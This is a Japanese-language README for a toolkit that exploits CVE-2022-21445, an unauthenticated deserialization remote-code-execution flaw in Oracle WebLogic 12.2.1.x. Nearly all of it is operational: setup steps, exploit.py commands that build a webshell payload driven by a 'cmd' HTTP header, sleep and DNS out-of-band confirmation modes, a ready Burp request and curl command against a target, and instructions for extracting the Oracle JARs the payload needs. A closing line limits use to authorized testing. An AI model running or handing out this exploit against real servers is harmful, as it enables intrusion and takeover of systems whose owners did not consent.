
Oracle Weblogic 12.2.1.X の CVE-2022-21445 に対するエクスプロイト
このツールキットは、Oracle ADF Facesを実行しているOracle WebLogic Server 12.2.1.xに影響する重大なJavaデシリアライゼーション脆弱性であるCVE-2022-21445のエクスプロイトペイロードを生成します。
この欠陥はRemoteApplicationResourceLoaderコンポーネントに存在し、攻撃者が特別に細工されたHTTP GETリクエストを送信して安全でないデシリアライゼーションを引き起こすことを可能にします。悪用に成功すると、標的サーバー上で認証なしのリモートコード実行(RCE)につながる可能性があります。
| 必要条件 | バージョン | 目的 |
|---|---|---|
| Python | 3.6+ | エクスプロイトスクリプトを実行 |
| JDK | 1.8 (8u202推奨) | Javaペイロードジェネレータをコンパイルして実行 |
| Weblogic | 12.2.1.X | 脆弱なバージョン |
ペイロードは、ターゲットのJavaランタイムに合わせるためにJDK 1.8でコンパイルする必要があります。
# SDKMANを使用:
sdk install java 8.0.402-tem
# java 8を選択
sudo update-alternatives --config java
java -version # 1.8.xと表示されるはず
javac -version # 1.8.xと表示されるはず
HTTPヘッダーcmdからコマンドを読み取り、レスポンスボディで出力を返すペイロードを作成します。
python3 exploit.py --version 12.2.1.4 --type webshell
出力:
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...
======================================================================
PAYLOAD GENERATED SUCCESSFULLY
======================================================================
[*] Payload type: webshell
[*] Payload length: 2156 characters
──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
ブラインドテスト用 — レスポンスが遅延した場合にコード実行を確認します。
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
ペイロードを送信し、レスポンス時間を測定します:
Burp Collaboratorなどを使用した帯域外確認用。
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
--targetを使用して、正しいホストとコンテキストパスでフォーマットされた出力を取得します:
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
これにより、Burpリクエストとcurlコマンドが正しいホストとパスでフォーマットされます:
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmdヘッダーの値を変更して別のコマンドを実行する
Jarファイルが破損している場合は、以下の指示に従って目的のWeblogicバージョンをインストールし、該当するJarを抽出してください。
これにより、公式のFMW Infrastructure Dockerイメージから必要なOracle JARが抽出されます。
# libsディレクトリを作成
mkdir -p libs/12.2.1.3
#または
mkdir -p libs/12.2.1.3
# Oracle FMW Infrastructure 12.2.1.3または12.2.1.4イメージをプル
# 注: container-registry.oracle.comでライセンスに同意する必要がある場合があります
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#または
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# 12.2.1.4バージョンのJARが必要だと仮定します(12.2.1.3の場合は、コマンドの.4を.3に置き換えてください)
# 一時的なコンテナを作成(起動する必要はありません)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# 必要なJARを抽出
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
注:
javax.mailJAR(MIME Base64エンコーディングに必要)は初回実行時にMaven Centralから自動的にダウンロードされます。手動でのセットアップは不要です。ウェブシェルペイロードは純粋なリフレクションを使用しており、コンパイル時にweblogic.jarは不要です。
このツールは許可されたセキュリティテストのみを目的としています。自分が所有していないシステムをテストする前に、必ず書面による許可を取得してください。作者は誤用について一切の責任を負いません。コンピュータシステムへの不正アクセスは違法です。